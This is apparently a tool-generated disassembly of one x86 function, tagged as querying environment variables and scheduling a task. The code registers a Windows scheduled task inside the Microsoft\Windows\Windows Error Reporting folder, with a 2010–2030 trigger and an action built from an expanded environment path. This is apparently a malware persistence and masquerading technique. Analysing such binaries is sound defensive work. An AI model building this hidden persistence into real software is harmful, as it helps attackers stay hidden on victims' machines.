Function at 0x401140
Capabilities:
Query environment variable
Schedule task via itaskservice

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x412b51
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x1c0
mov eax, dword [0x41a00c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0
mov dword [ebp - 4], 2
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
js 0x401667
lea eax, [ebp - 0x124]
mov dword [ebp - 0x124], 0
push eax
push 0x413394
push 1
push 0
push 0x4133b4
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x401661
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea eax, [ebp - 0x190]
push eax
call esi
movups xmm0, xmmword [ebp - 0x190]
lea eax, [ebp - 0x180]
push eax
movups xmmword [ebp - 0x1a0], xmm0
call esi
movups xmm0, xmmword [ebp - 0x180]
lea eax, [ebp - 0x1d0]
push eax
movups xmmword [ebp - 0x1b0], xmm0
call esi
movups xmm0, xmmword [ebp - 0x1d0]
lea eax, [ebp - 0x170]
push eax
movups xmmword [ebp - 0x1c0], xmm0
call esi
mov byte [ebp - 4], 6
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x1a0]
mov ecx, dword [ebp - 0x124]
mov eax, esp
sub esp, 0x10
mov edx, dword [ecx]
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x1b0]
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x1c0]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x170]
push ecx
movups xmmword [eax], xmm0
call dword [edx + 0x28]
mov edi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov esi, eax
lea eax, [ebp - 0x170]
push eax
call edi
lea eax, [ebp - 0x1d0]
push eax
call edi
lea eax, [ebp - 0x180]
push eax
call edi
lea eax, [ebp - 0x190]
mov byte [ebp - 4], 2
push eax
call edi
test esi, esi
js 0x401655
push str.MicrosoftWindowsWindows_Error_Reporting
lea ecx, [ebp - 0x15c]
mov dword [ebp - 0x12c], 0
call fcn.00401030
mov byte [ebp - 4], 7
mov eax, dword [eax]
test eax, eax
je 0x4012c7
mov edx, dword [eax]
jmp 0x4012c9
xor edx, edx
mov eax, dword [ebp - 0x124]
lea esi, [ebp - 0x12c]
push esi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov byte [ebp - 4], 2
or edi, 0xffffffff
mov esi, dword [ebp - 0x15c]
mov dword [ebp - 0x154], eax
test esi, esi
je 0x40133d
mov ecx, edi
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x40133d
test esi, esi
je 0x40133d
mov eax, dword [esi]
test eax, eax
je 0x401315
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x40132c
push eax
call fcn.0040643b
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00406470
mov eax, dword [ebp - 0x154]
add esp, 8
test eax, eax
jns 0x4013de
push 0x417da0
lea ecx, [ebp - 0x154]
call fcn.00401030
mov byte [ebp - 4], 8
mov eax, dword [eax]
test eax, eax
je 0x401363
mov edx, dword [eax]
jmp 0x401365
xor edx, edx
mov eax, dword [ebp - 0x124]
lea esi, [ebp - 0x12c]
push esi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov byte [ebp - 4], 2
mov esi, dword [ebp - 0x154]
mov dword [ebp - 0x15c], eax
test esi, esi
je 0x4013d6
mov ecx, edi
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x4013d6
test esi, esi
je 0x4013d6
mov eax, dword [esi]
test eax, eax
je 0x4013ae
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x4013c5
push eax
call fcn.0040643b
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00406470
mov eax, dword [ebp - 0x15c]
add esp, 8
test eax, eax
js 0x401655
mov eax, dword [ebp - 0x124]
lea edx, [ebp - 0x128]
push edx
mov dword [ebp - 0x128], 0
push 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
test eax, eax
js 0x401649
mov eax, dword [ebp - 0x128]
lea edx, [ebp - 0x134]
mov dword [ebp - 0x134], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
test eax, eax
js 0x40163d
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x138]
push edx
mov dword [ebp - 0x138], 0
push 1
mov ecx, dword [eax]
push eax
call dword [ecx + 0x28]
test eax, eax
js 0x401631
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x130]
push edx
mov dword [ebp - 0x130], 0
push 0x4133a4
mov ecx, dword [eax]
push eax
call dword [ecx]
test eax, eax
js 0x401625
push str.Trigger1
lea ecx, [ebp - 0x154]
call fcn.00401030
mov byte [ebp - 4], 9
mov edx, dword [eax]
test edx, edx
je 0x401498
mov edx, dword [edx]
jmp 0x40149a
xor edx, edx
mov eax, dword [ebp - 0x130]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov byte [ebp - 4], 2
mov esi, dword [ebp - 0x154]
test esi, esi
je 0x4014f8
mov eax, edi
lock xadd dword [esi + 8], eax
dec eax
jne 0x4014f8
test esi, esi
je 0x4014f8
mov eax, dword [esi]
test eax, eax
je 0x4014d6
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x4014ed
push eax
call fcn.0040643b
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00406470
add esp, 8
push str.2010_10_10T00:00:00
lea ecx, [ebp - 0x154]
call fcn.00401030
mov byte [ebp - 4], 0xa
mov edx, dword [eax]
test edx, edx
je 0x401516
mov edx, dword [edx]
jmp 0x401518
xor edx, edx
mov eax, dword [ebp - 0x130]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
mov byte [ebp - 4], 2
mov esi, dword [ebp - 0x154]
test esi, esi
je 0x401576
mov eax, edi
lock xadd dword [esi + 8], eax
dec eax
jne 0x401576
test esi, esi
je 0x401576
mov eax, dword [esi]
test eax, eax
je 0x401554
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x40156b
push eax
call fcn.0040643b
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00406470
add esp, 8
push str.2030_12_31T23:59:59
lea ecx, [ebp - 0x154]
call fcn.00401030
mov byte [ebp - 4], 0xb
mov edx, dword [eax]
test edx, edx
je 0x401594
mov edx, dword [edx]
jmp 0x401596
xor edx, edx
mov eax, dword [ebp - 0x130]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov byte [ebp - 4], 2
mov esi, dword [ebp - 0x154]
test esi, esi
je 0x4015f4
mov eax, edi
lock xadd dword [esi + 8], eax
dec eax
jne 0x4015f4
test esi, esi
je 0x4015f4
mov eax, dword [esi]
test eax, eax
je 0x4015d2
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x4015e9
push eax
call fcn.0040643b
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00406470
add esp, 8
mov eax, dword [ebp - 0x130]
lea edx, [ebp - 0x14c]
mov dword [ebp - 0x14c], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
test eax, eax
jns 0x40172f
mov eax, dword [ebp - 0x130]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x138]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x134]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x128]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x12c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x124]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov esi, 1
mov edx, dword [ebx + 0x1c]
cmp edx, 0x10
jb 0x4016a0
mov ecx, dword [ebx + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401696
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401bee
push edx
push ecx
call fcn.00406470
add esp, 8
mov edx, dword [ebx + 0x34]
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x1c], 0xf
mov byte [ebx + 8], 0
cmp edx, 0x10
jb 0x4016e6
mov ecx, dword [ebx + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4016dc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401bee
push edx
push ecx
call fcn.00406470
add esp, 8
mov edx, dword [ebx + 0x4c]
mov dword [ebx + 0x30], 0
mov dword [ebx + 0x34], 0xf
mov byte [ebx + 0x20], 0
cmp edx, 0x10
jb 0x401bce
mov ecx, dword [ebx + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401bc4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401bee
jmp 0x401bc4
cmp dword [ebx + 0x34], 0x10
lea eax, [ebx + 0x20]
lea ecx, [ebp - 0x154]
cmovae eax, dword [ebx + 0x20]
push eax
call fcn.00401030
mov byte [ebp - 4], 0xc
mov edx, dword [eax]
test edx, edx
je 0x401754
mov edx, dword [edx]
jmp 0x401756
xor edx, edx
mov eax, dword [ebp - 0x14c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov byte [ebp - 4], 2
mov esi, dword [ebp - 0x154]
test esi, esi
je 0x4017b4
mov eax, edi
lock xadd dword [esi + 8], eax
dec eax
jne 0x4017b4
test esi, esi
je 0x4017b4
mov eax, dword [esi]
test eax, eax
je 0x401792
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x4017a9
push eax
call fcn.0040643b
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00406470
add esp, 8
mov eax, dword [ebp - 0x128]
lea edx, [ebp - 0x13c]
mov dword [ebp - 0x13c], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
test eax, eax
js 0x401619
mov eax, dword [ebp - 0x13c]
lea edx, [ebp - 0x144]
push edx
mov dword [ebp - 0x144], 0
push 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x30]
test eax, eax
jns 0x40180d
mov eax, dword [ebp - 0x13c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x401619
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
push edx
mov dword [ebp - 0x140], 0
push str.MbLk
mov ecx, dword [eax]
push eax
call dword [ecx]
test eax, eax
js 0x401b22
cmp dword [ebx + 0x4c], 0x10
lea ecx, [ebp - 0x120]
push 0x104
lea eax, [ebx + 0x38]
cmovae eax, dword [ebx + 0x38]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x154]
call fcn.00401030
mov byte [ebp - 4], 0xd
mov edx, dword [eax]
test edx, edx
je 0x401874
mov edx, dword [edx]
jmp 0x401876
xor edx, edx
mov eax, dword [ebp - 0x140]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov byte [ebp - 4], 2
mov esi, dword [ebp - 0x154]
test esi, esi
je 0x4018d4
mov eax, edi
lock xadd dword [esi + 8], eax
dec eax
jne 0x4018d4
test esi, esi
je 0x4018d4
mov eax, dword [esi]
test eax, eax
je 0x4018b2
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x4018c9
push eax
call fcn.0040643b
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00406470
add esp, 8
push str.__check
lea ecx, [ebp - 0x154]
call fcn.00401030
mov byte [ebp - 4], 0xe
mov edx, dword [eax]
test edx, edx
je 0x4018f2
mov edx, dword [edx]
jmp 0x4018f4
xor edx, edx
mov eax, dword [ebp - 0x140]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
mov byte [ebp - 4], 2
mov esi, dword [ebp - 0x154]
test esi, esi
je 0x401952
mov eax, edi
lock xadd dword [esi + 8], eax
dec eax
jne 0x401952
test esi, esi
je 0x401952
mov eax, dword [esi]
test eax, eax
je 0x401930
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x401947
push eax
call fcn.0040643b
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00406470
add esp, 8
mov eax, dword [ebp - 0x128]
lea edx, [ebp - 0x148]
mov dword [ebp - 0x148], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
test eax, eax
js 0x40163d
mov eax, dword [ebp - 0x148]
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
mov eax, dword [ebp - 0x128]
push dword [ebp - 0x148]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x40]
test eax, eax
jns 0x4019a6
mov eax, dword [ebp - 0x148]
jmp 0x401637
mov eax, 8
mov dword [ebp - 0x150], 0
push 0x417de0
mov word [ebp - 0x170], ax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0x168], eax
test eax, eax
je 0x401bf3
movups xmm0, xmmword [ebp - 0x170]
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea eax, [ebp - 0x180]
push eax
movups xmmword [ebp - 0x1c0], xmm0
call esi
movups xmm0, xmmword [ebp - 0x180]
lea eax, [ebp - 0x190]
push eax
movups xmmword [ebp - 0x1b0], xmm0
call esi
mov byte [ebp - 4], 0x11
lea eax, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
lea ecx, [ebp - 0x15c]
movups xmm0, xmmword [ebp - 0x190]
cmovae eax, dword [ebx + 8]
push eax
movups xmmword [ebp - 0x1a0], xmm0
call fcn.00401030
mov byte [ebp - 4], 0x12
mov esi, dword [eax]
test esi, esi
je 0x401a40
mov esi, dword [esi]
jmp 0x401a42
xor esi, esi
movups xmm0, xmmword [ebp - 0x1c0]
mov ecx, dword [ebp - 0x12c]
lea eax, [ebp - 0x150]
push eax
sub esp, 0x10
mov eax, esp
mov edx, dword [ecx]
push 3
sub esp, 0x10
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x1b0]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x1a0]
push 6
push dword [ebp - 0x128]
movups xmmword [eax], xmm0
push esi
push ecx
call dword [edx + 0x44]
mov esi, dword [ebp - 0x15c]
mov dword [ebp - 0x154], eax
test esi, esi
je 0x401ae8
lock xadd dword [esi + 8], edi
dec edi
jne 0x401ade
test esi, esi
je 0x401ade
mov eax, dword [esi]
test eax, eax
je 0x401abc
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x401ad3
push eax
call fcn.0040643b
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.00406470
add esp, 8
mov dword [ebp - 0x15c], 0
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x190]
push eax
call esi
lea eax, [ebp - 0x180]
push eax
call esi
lea eax, [ebp - 0x170]
mov byte [ebp - 4], 2
push eax
call esi
cmp dword [ebp - 0x154], 0
jge 0x401b3f
mov eax, dword [ebp - 0x140]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x144]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x13c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x401619
mov eax, dword [ebp - 0x150]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x140]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x144]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x13c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x130]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x138]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x134]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x128]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x12c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x124]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
xor esi, esi
jmp 0x40166c
push edx
push ecx
call fcn.00406470
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004063ac
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0040a037
push 0x8007000e
call fcn.00407270
int3